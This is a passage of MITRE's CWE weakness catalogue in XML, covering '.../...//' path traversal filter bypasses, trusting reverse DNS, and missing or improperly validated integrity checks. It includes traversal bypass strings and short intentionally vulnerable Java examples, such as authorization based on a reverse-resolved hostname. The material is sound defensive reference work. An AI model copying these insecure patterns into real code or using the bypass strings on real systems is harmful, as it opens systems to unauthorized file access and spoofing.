					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Related_Attack_Patterns, Relationships, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Untrusted Data Appended with
						Trusted Data</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="35" Name="Path Traversal: '.../...//'" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software uses external input to construct a pathname that
					should be within a restricted directory, but it does not properly neutralize
					'.../...//' (doubled triple dot slash) sequences that can resolve to a location
					that is outside of that directory.</Description_Summary>
				        <Extended_Description>
					          <Text>This allows attackers to traverse the file system to access files or
						directories that are outside of the restricted directory.</Text>
					          <Text>The '.../...//' manipulation is useful for bypassing some path traversal
						protection schemes. If "../" is filtered in a sequential fashion, as done by
						some regular expression engines, then ".../...//" can collapse into the
						"../" unsafe value (CWE-182). Removing the first "../" yields "....//"; the
						second removal yields "../". Depending on the algorithm, the software could
						be susceptible to CWE-34 but not CWE-35, or vice versa.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>23</Relationship_Target_ID>
					          <!--Relative Path Traversal-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>893</Relationship_Target_ID>
					          <!--SFP Cluster: Path Resolution-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Read files or
						directories</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Modify files or
						directories</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-5.1">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Assume all input is malicious. Use an "accept known good" input
							validation strategy, i.e., use a whitelist of acceptable inputs that
							strictly conform to specifications. Reject any input that does not
							strictly conform to specifications, or transform it into something that
							does.</Text>
						            <Text>When performing input validation, consider all potentially relevant
							properties, including length, type of input, the full range of
							acceptable values, missing or extra inputs, syntax, consistency across
							related fields, and conformance to business rules. As an example of
							business rule logic, "boat" may be syntactically valid because it only
							contains alphanumeric characters, but it is not valid if the input is
							only expected to contain colors such as "red" or "blue."</Text>
						            <Text>Do not rely exclusively on looking for malicious or malformed inputs
							(i.e., do not rely on a blacklist). A blacklist is likely to miss at
							least one undesirable input, especially if the code's environment
							changes. This can give attackers enough room to bypass the intended
							validation. However, blacklists can be useful for detecting potential
							attacks or determining which inputs are so malformed that they should be
							rejected outright.</Text>
						            <Text>When validating filenames, use stringent whitelists that limit the
							character set to be used. If feasible, only allow a single "." character
							in the filename to avoid weaknesses such as CWE-23, and exclude
							directory separators such as "/" to avoid CWE-36. Use a whitelist of
							allowable file extensions, which will help to avoid CWE-434.</Text>
						            <Text>Do not rely exclusively on a filtering mechanism that removes
							potentially dangerous characters. This is equivalent to a blacklist,
							which may be incomplete (CWE-184). For example, filtering "/" is
							insufficient protection if the filesystem also supports the use of "\"
							as a directory separator. Another possible error could occur when the
							filtering is applied in a way that still produces dangerous data
							(CWE-182). For example, if "../" sequences are removed from the
							".../...//" string in a sequential fashion, two instances of "../" would
							be removed from the original string, but the remaining characters would
							still form the "../" string.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-20">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Inputs should be decoded and canonicalized to the application's
							current internal representation before being validated (CWE-180). Make
							sure that the application does not decode the same input twice
							(CWE-174). Such errors could be used to bypass whitelist validation
							schemes by introducing dangerous inputs after they have been
							checked.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-2169</Observed_Example_Reference>
					          <Observed_Example_Description>chain: ".../...//" bypasses protection mechanism
						using regexp's that remove "../" resulting in collapse into an unsafe value
						"../" (CWE-182) and resultant path traversal.
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-0202</Observed_Example_Reference>
					          <Observed_Example_Description>".../....///" bypasses regexp's that remove "./"
						and "../"</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>'.../...//'</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Description, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Observed_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Description,
						Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Path Issue - Doubled Triple
						Dot Slash - '.../...//'</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="350" Name="Improperly Trusted Reverse DNS" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The software trusts the hostname that is provided when
					performing a reverse DNS resolution on an IP address, without also performing
					forward resolution.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>345</Relationship_Target_ID>
					          <!--Insufficient Verification of Data Authenticity-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>898</Relationship_Target_ID>
					          <!--SFP Cluster: Authentication-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-42">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Perform proper forward and reverse DNS lookups to detect DNS spoofing.
						</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>In the example below, an authorization decision is made on the
						result of a reverse DNS lookup.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>InetAddress clientAddr = getClientInetAddr();</Code>
							              <Code>if (clientAddr != null &amp;&amp;
								clientAddr.getHostName().equals("authorizedhost.authorizeddomain.com")
								{</Code>
							              <Block>
								                <Code>authorized = true;</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-1488</Observed_Example_Reference>
					          <Observed_Example_Description>Does not do double-reverse lookup to prevent DNS
						spoofing.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-1500</Observed_Example_Reference>
					          <Observed_Example_Description>Does not verify reverse-resolved hostnames in
						DNS.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2000-1221</Observed_Example_Reference>
					          <Observed_Example_Description>Authentication bypass using spoofed
						reverse-resolved DNS hostnames.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0804</Observed_Example_Reference>
					          <Observed_Example_Description>Authentication bypass using spoofed
						reverse-resolved DNS hostnames.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-1155</Observed_Example_Reference>
					          <Observed_Example_Description>Filter does not properly check the result of a
						reverse DNS lookup, which could allow remote attackers to bypass intended
						access restrictions via DNS spoofing.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0892</Observed_Example_Reference>
					          <Observed_Example_Description>Reverse DNS lookup used to spoof trusted content
						in intermediary.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-0981</Observed_Example_Reference>
					          <Observed_Example_Description>Product records the reverse DNS name of a visitor
						in the logs, allowing spoofing and resultant
						XSS.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Improperly Trusted Reverse DNS</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>142</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>18</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>63</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>73</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Sean Eidemiller</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>added/updated demonstrative
						examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-09-27</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="351" Name="Insufficient Type Distinction" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The software does not properly distinguish between different
					types of elements in a way that leads to insecure
					behavior.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>345</Relationship_Target_ID>
					          <!--Insufficient Verification of Data Authenticity-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>PeerOf</Relationship_Nature>
					          <Relationship_Target_ID>436</Relationship_Target_ID>
					          <!--Interpretation Conflict-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>Overlaps others, e.g. Multiple Interpretation Errors.</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Other</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-2260</Observed_Example_Reference>
					          <Observed_Example_Description>Browser user interface does not distinguish
						between user-initiated and synthetic events.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-2801</Observed_Example_Reference>
					          <Observed_Example_Description>Product does not compare all required data in two
						separate elements, causing it to think they are the same, leading to loss of
						ACLs. Similar to Same Name error.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Insufficient Type Distinction</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Relationship_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="353" Name="Missing Support for Integrity Check" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The software uses a transmission protocol that does not include
					a mechanism for verifying the integrity of the data during transmission, such as
					a checksum.</Description_Summary>
				        <Extended_Description>
					          <Text>If integrity check values or "checksums" are omitted from a protocol,
						there is no way of determining if data has been corrupted in transmission.
						The lack of checksum functionality in a protocol removes the first
						application-level check of data that can be used. The end-to-end philosophy
						of checks states that integrity checks should be performed at the lowest
						level that they can be completely implemented. Excluding further sanity
						checks and input validation performed by applications, the protocol's
						checksum is the most important level of checksum, since it can be performed
						more completely than at any previous level and takes into account entire
						messages, as opposed to single packets.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>345</Relationship_Target_ID>
					          <!--Insufficient Verification of Data Authenticity-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>PeerOf</Relationship_Nature>
					          <Relationship_Target_ID>354</Relationship_Target_ID>
					          <!--Improper Validation of Integrity Check Value-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>902</Relationship_Target_ID>
					          <!--SFP Cluster: Channel-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Medium</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Other</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Data that is parsed and used may be corrupted.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Non-Repudiation</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Hide activities</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Other</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Without a checksum it is impossible to determine if any changes have
							been made to the data after it was sent.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Add an appropriately sized checksum to the protocol, ensuring that
							data received may be simply validated before it is parsed and
							used.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Ensure that the checksums present in the protocol design are properly
							implemented and added to each message before it is sent.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>In this example, a request packet is received, and privileged
						information is sent to the requester:</Intro_Text>
					          <Example_Body>
						            <Code_Example_Language>Java</Code_Example_Language>
						            <Code>while(true) {</Code>
						            <Block>
							              <Code>DatagramPacket rp = new DatagramPacket(rData,rData.length);</Code>
							              <Code>outSock.receive(rp);</Code>
							              <Code>InetAddress IPAddress = rp.getAddress();</Code>
							              <Code>int port = rp.getPort();</Code>
							              <Code>out = secret.getBytes();</Code>
							              <Code>DatagramPacket sp =new DatagramPacket(out, out.length, IPAddress,
								port);</Code>
							              <Code>outSock.send(sp);</Code>
						            </Block>
						            <Code>} </Code>
						            <Text> The response containing secret data has no integrity check associated
							with it, allowing an attacker to alter the message without detection.
						</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <References>
				        <Reference Reference_ID="REF-17">
					          <Reference_Author>Michael Howard</Reference_Author>
					          <Reference_Author>David LeBlanc</Reference_Author>
					          <Reference_Author>John Viega</Reference_Author>
					          <Reference_Title>24 Deadly Sins of Software Security</Reference_Title>
					          <Reference_Section>"Sin 15: Not Updating Easily." Page 231</Reference_Section>
					          <Reference_Publication>McGraw-Hill</Reference_Publication>
					          <Reference_PubDate>2010</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CLASP">
					          <Mapped_Node_Name>Failure to add integrity check value</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>13</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>14</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>39</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>74</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>75</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>CLASP</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Description, Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences,
						Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated References, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2010-12-13">Failure to Add Integrity
						Check Value</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="354" Name="Improper Validation of Integrity Check Value" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The software does not validate or incorrectly validates the
					integrity check values or "checksums" of a message. This may prevent it from
					detecting if the data has been modified or corrupted in transmission. </Description_Summary>
				        <Extended_Description>
					          <Text>Improper validation of checksums before use results in an unnecessary risk
						that can easily be mitigated. The protocol specification describes the
						algorithm used for calculating the checksum. It is then a simple matter of
						implementing the calculation and verifying that the calculated checksum and
						the received checksum match. Improper verification of the calculated
						checksum and the received checksum can lead to far greater
						consequences.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>345</Relationship_Target_ID>
					          <!--Insufficient Verification of Data Authenticity-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>754</Relationship_Target_ID>
					          <!--Improper Check for Unusual or Exceptional Conditions-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>PeerOf</Relationship_Nature>
